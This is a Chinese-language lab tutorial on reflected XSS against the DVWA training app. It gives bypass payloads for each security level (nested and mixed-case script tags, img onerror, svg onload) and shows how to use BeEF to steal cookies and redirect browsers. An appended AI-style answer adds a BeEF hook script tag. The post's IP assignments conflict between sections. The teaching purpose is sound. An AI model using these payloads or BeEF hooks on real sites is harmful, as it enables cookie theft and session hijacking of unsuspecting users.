kali linux(2021)版本 进行DVWA全安全等级反射型XSS攻击并介绍beef-xss的安装及详细使用

渗透环境

win7 32位配有 dvwa 汉化版 IP:10.10.10.131
下载地址:(https://download.youkuaiyun.com/download/weixin_39464539/19517692?spm=1001.2014.3001.5501)解压后用VMware 打开即可
kali linux 2021 IP 10.10.10.132

xss原理及分类

XSS攻击的原理:

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。 XSS攻击本质上是一种将恶意脚本嵌入到当前网页并执行的攻击方式。
一般来说存在XSS攻击风险的功能点主要涉及一下两种:

  • 评论功能:
    • 用户输入评论(评论处为攻击代码)
  • 论坛私信功能
    • 用户发送私信(私信内夹带攻击代码)

技术分类

根基 XSS攻击存在的形式及产生的效果分为以下三类:
1.反射型跨站攻击:浏览器-服务器交互
2.存储型跨站攻击:浏览器-服务器-数据库交互

  • 常见的场景是博客或新闻发布系统,将包含恶意代码的数据信息直接写入文章或文字评论中,所有浏览文章或评论的用户就被黑客在他们的客户端浏览器环境中执行插入的恶意代码
    

3.DOM型跨站攻击:浏览器-服务器交互

攻击条件:

反射型/DOM型跨站攻击:服务器接收到数据,原样返回给用户,整个过程没有自身的存储过程(存入数据库)无法直接攻击其他用户。当然这两类攻击也可以利用钓鱼、垃圾邮件等手段产生攻击其他用户的效果。
存储型跨站攻击:

  • 入库处理
    目标网页有攻击者可控的输入点
    输入信息可以在受害者的浏览器中显示
    输入几倍攻击的可执行脚本,且在信息输入和输出的过程中没有特色字符的过来和字符转义等防护措施,或者说防护措施可以通过异地哦给你的手段绕过。
  • 出库处理
    浏览器将输入解析为脚本,并具备执行该脚本的能力
    这四个条件缺一不可。

实战 :

DVWA-LOW级别:
首先查看源码: 查看源代码片


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>你好 ' . $_GET[ 'name' ] . '</pre>';
}

?>

array_key_exists()函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
!=为不等于运算符
&&为与都为真是为真
这段源码的意思是输入一个内容,点击提交,当输入不为空之后输出:你好 加输入的内容。
输入语句:

<script>alert(/xss/)</script>

在这里插入图片描述
弹出提示框说明恶意代码成功运行。

XSS进阶测试方法:

1、闭合标签测试
2、大小写混合测试(JavaScript不区分大小写的特性)
3、多重嵌套测试
4、宽字节绕过测试
5、多标签测试

提升安全等级为medium:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>你好 ${name}</pre>";
}

?>

与low相比多了个语句:

   $name = str_replace( '<script>', '', $_GET[ 'name' ] );

	意思是将输入内容的含有的<script>替代为空
	意义是防止像低等级一样输入一个<script>能闭合语句执行之后的恶意代码
	绕过方法:多重嵌套或大小写绕过
方法1:多重嵌套:
<scr<script>ipt>alert(/xss/)</script>
方法2:大小写绕过:
sCRipt>alert(/xss/)</sCRipt>

在这里插入图片描述
绕过成功!

提升等级为hight

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>你好 ${name}</pre>";
}

?>
preg_replace函数执行一个正则表达式的搜索和替换。该代码意思为对script有一个正则的替换,但是script的写入用图片事件,和Svg事件也是可以的。
方法1:利用img事件
1.<img src = 1 onerror = alert(/xss/)>
onerror为当视频的媒体数据加载期间发生错误时执行 JavaScript :
<video onerror="myFunction()">
方法2:利用svg事件
2.<svg onload=alert(/xss/)>

kali XSS工具 beef 安装

需要kali Linux root用户进行安装,博主下载的版本为kali 2021
切换root用户需要的详细步骤参考下面网址:
https://blog.youkuaiyun.com/qq_44612786/article/details/104220727

kali安装beef

参考下面网址
https://blog.youkuaiyun.com/weixin_43847838/article/details/110312851

使用beef工具:

直接输入:

beef -xss

账号密码为beef 和你设置的密码
在这里插入图片描述
标红处为攻击指令

我的环境:

kali 10.10.10.131
win7 dvwa靶机 10.10.10.132
所有攻击指令为点击提交
在这里插入图片描述
此时刷新beef 会发现出现靶机IP的信息(标红的是一些关键信息)
在这里插入图片描述

Beef XSS基础功能:

获取目标的cookie

在这里插入图片描述

链接跳转 Redirect Browser

在这里插入图片描述

任意弹窗演示 :

在这里插入图片描述

获取浏览器指纹:Fingerprient Browser
获取HTML源码信息:Get Page HTML
总结:

beef是一个XSS平台,有非常多的功能
Exploit 模块用的最多,但初学者用Browser就足够了

参考资料:

书籍:《Web安全防护指南基础篇》
Beef-XSS平台基本使用 https://www.bilibili.com/video/av92711691/

<think>好的,用户想了解如何使用Kali LinuxDVWA进行XSS跨站脚本检测的实验。我需要先回忆XSS的基本概念和类型,然后考虑实验的具体步骤。首先,DVWA的设置可能需要注意安全等级,比如调到Low或者Medium,这样更容易进行测试。Kali里的工具,比如Burp Suite或者手动输入脚本可能都需要用到。 用户可能已经有一定的网络安全基础,但可能还是新手,所以需要详细说明步骤。比如如何启动DVWA,配置环境,登录凭证是什么。然后分步骤测试反射型、存储型和DOM型XSS,每种类型应该有不同的测试方法。比如反射型可能在输入框插入<script>alert('XSS')</script>,而存储型可能会在留言板等地方注入。 还需要提到浏览器的安全机制,比如Chrome的XSS Auditor可能会拦截,所以建议使用Firefox或者降低安全设置。此外,实验结束后应该清理DVWA的数据库,避免影响后续测试。 可能用户没有提到的深层需求是希望了解防御措施,所以在最后补充如何通过代码层面防止XSS,比如转义字符、使用CSP等。这样整个回答会更面,帮助用户不仅做实验,还能理解防护方法。</think>好的!以下是一个基于 **Kali Linux** 和 **DVWA(Damn Vulnerable Web Application)** 的 XSS(跨站脚本)检测实验的详细指南,涵盖实验环境搭建、攻击演示及防御原理。 -- ### **1. 实验环境准备** - **Kali Linux**:作为攻击者主机,内置渗透测试工具(如 Burp Suite、手动脚本测试)。 - **DVWA**:作为漏洞靶场,需安装Kali 或另一台虚拟机中(推荐使用 Docker 快速部署)。 - **浏览器**:建议使用 Firefox(需关闭 XSS 过滤器,或使用版本浏览器)。 #### **DVWA 配置步骤** 1. 安装 Docker(Kali 中): ```bash sudo apt update && sudo apt install docker.io ``` 2. 拉取 DVWA 镜像运行: ```bash sudo docker run -d -p 80:80 vulnerables/web-dvwa ``` 3. 访问 `http://localhost`,登录默认账号:`admin/password`。 4. 在 DVWA Security 页面将安全级别设为 **Low**(方便实验)。 -- ### **2. XSS 攻击类型与实验** #### **(1) 反射型 XSS(Reflected XSS)** **目标**:通过 URL 参数注入恶意脚本,触发弹窗。 **实验步骤**: 1. 进入 DVWA → **XSS (Reflected)** 页面。 2. 在输入框中输入测试脚本: ```html <script>alert('XSS')</script> ``` 3. 点击提交,观察弹窗是否出现。 **原理**:输入内容未经过滤直接输出到页面,脚本被浏览器执行。 #### **(2) 存储型 XSS(Stored XSS)** **目标**:将恶意脚本存储到数据库(如留言板),其他用户访问时触发。 **实验步骤**: 1. 进入 DVWA → **XSS (Stored)** 页面。 2. 在留言框中输入持久化脚本: ```html <script>alert('Stored XSS')</script> ``` 3. 提交后刷新页面或换浏览器访问,观察弹窗是否持续存在。 #### **(3) DOM 型 XSS(DOM-based XSS)** **目标**:通过修改 URL 的 Hash 部分触发脚本执行。 **实验步骤**: 1. 进入 DVWA → **XSS (DOM)** 页面。 2. 修改 URL 末尾添加 `#<script>alert('DOM XSS')</script>`。 3. 观察页面是否执行脚本(需关闭浏览器 XSS 过滤器)。 --- ### **3. 进阶测试工具(Kali 中)** - **Burp Suite**: 拦截 HTTP 请求,修改参数插入 XSS Payload,观察响应。 - **BeEF Framework**: 演示高级攻击(如会话劫持): ```bash sudo beef-xss ``` 在 DVWA 中注入 BeEF Hook 脚本: ```html <script src="http://<Kali_IP>:3000/hook.js"></script> ``` --- ### **4. 防御措施与代码分析** 在 DVWA 的 **High** 安全级别下,观察防御方法: - **输入过滤**:移除 `<script>`、`onerror` 等危险关键词。 - **输出转义**:使用 `htmlspecialchars()` 转义特殊字符(PHP 示例): ```php echo htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8'); ``` - **CSP(内容安全策略)**:通过 HTTP 头限制脚本来源。 -- ### **5. 实验注意事项** - 仅在本地或授权环境测试,避免非法使用- 测试后重置 DVWA 数据库(页面底部有重置按钮)。 - 理解漏洞原理后尝试修复代码(DVWA 提供源码示例)。 --- 通过此实验,你可以直观理解 XSS 的危害、攻击方式及防御策略。如果需要更详细的某一步骤,请随时告诉我!
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

不方·初始

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值